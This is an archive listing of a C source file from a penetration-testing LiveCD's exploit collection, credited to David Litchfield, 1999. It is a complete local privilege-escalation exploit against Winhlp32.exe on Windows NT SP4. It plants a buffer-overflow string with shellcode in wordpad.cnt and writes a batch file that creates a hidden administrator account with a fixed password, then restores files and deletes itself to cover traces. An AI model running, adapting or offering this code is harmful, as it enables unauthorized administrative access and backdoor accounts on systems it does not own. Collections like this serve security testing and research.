home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / winhlpadd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  64 lines

  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <string.h>
  4.  
  5. int main(void)
  6. {
  7.  char eip[5]="\xE5\x27\xF3\x77";
  8.  char
  9. ExploitCode[200]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x1A\x38\xF1\x77\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x41\xC6\x45\xFD\x44\xC6\x45\xFE\x44\xB8\xE1\xE1\xA0\x77\x50\x8D\x45\xFC\x50\xFF\x55\xF8\x55\x8B\xEC\xBA\xBA\x5B\x9F\x77\x52\x33\xC0\x50\xFF\x55\xFC";
  10.  
  11.  FILE *fd;
  12.  printf("\n\n*******************************************************\n");
  13.  printf("* WINHLPADD exploits a buffer overrun in Winhlp32.exe *\n");
  14.  printf("*   This version runs on Service Pack 4 machines and  *\n");
  15.  printf("*       assumes a msvcrt.dll version of 4.00.6201     *\n");
  16.  printf("*                                                     *\n");
  17.  printf("* (C) David Litchfield (mnemonix@globalnet.co.uk) '99 *\n");
  18.  printf("*******************************************************\n\n");
  19.  
  20.  fd = fopen("wordpad.cnt", "r");
  21.  if (fd==NULL)
  22.   {
  23.    printf("\n\nWordpad.cnt not found or insufficient rights to access it.\nRun this from the WINNT\\HELP directory");
  24.    return 0;
  25.   }
  26.  fclose(fd);
  27.  printf("\nMaking a copy of real wordpad.cnt - wordpad.sav\n");
  28.  system("copy wordpad.cnt wordpad.sav");
  29.  printf("\n\nCreating wordpad.cnt with exploit code...");
  30.  fd = fopen("wordpad.cnt", "w+");
  31.  if (fd==NULL)  
  32.   {
  33.    printf("Failed to open wordpad.cnt in write mode. Check you have sufficent rights\n");
  34.    return 0;
  35.   }
  36.  fprintf(fd,"1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%s\n",eip,ExploitCode);
  37.  
  38.  fprintf(fd,"2 Opening a document=WRIPAD_OPEN_DOC\n");
  39.  fclose(fd);
  40.  printf("\nCreating batch file add.bat\n\n");
  41.  fd = fopen("add.bat", "w");
  42.  if (fd == NULL)
  43.   {
  44.    printf("Couldn't create batch file. Manually create one instead");
  45.    return 0;
  46.   }
  47.  printf("The batch file will attempt to create a user account called \"winhlp\" and\n");
  48.  printf("with a password of \"winhlp!!\" and add it to the Local Administrators group.\n");
  49.  printf("Once this is done it will reset the files and delete itself.\n");
  50.  fprintf(fd,"net user winhlp winhlp!! /add\n");
  51.  fprintf(fd,"net localgroup administrators winhlp /add\n");
  52.  fprintf(fd,"del wordpad.cnt\ncopy wordpad.sav wordpad.cnt\n");
  53.  fprintf(fd,"del wordpad.sav\n");
  54.  fprintf(fd,"del add.bat\n");
  55.  fclose(fd);  
  56.  printf("\nBatch file created.");
  57.  printf("\n\nCreated. Now open up Wordpad and click on Help\n");
  58.  
  59.  return 0;
  60.    
  61.  
  62. }
  63.  
  64.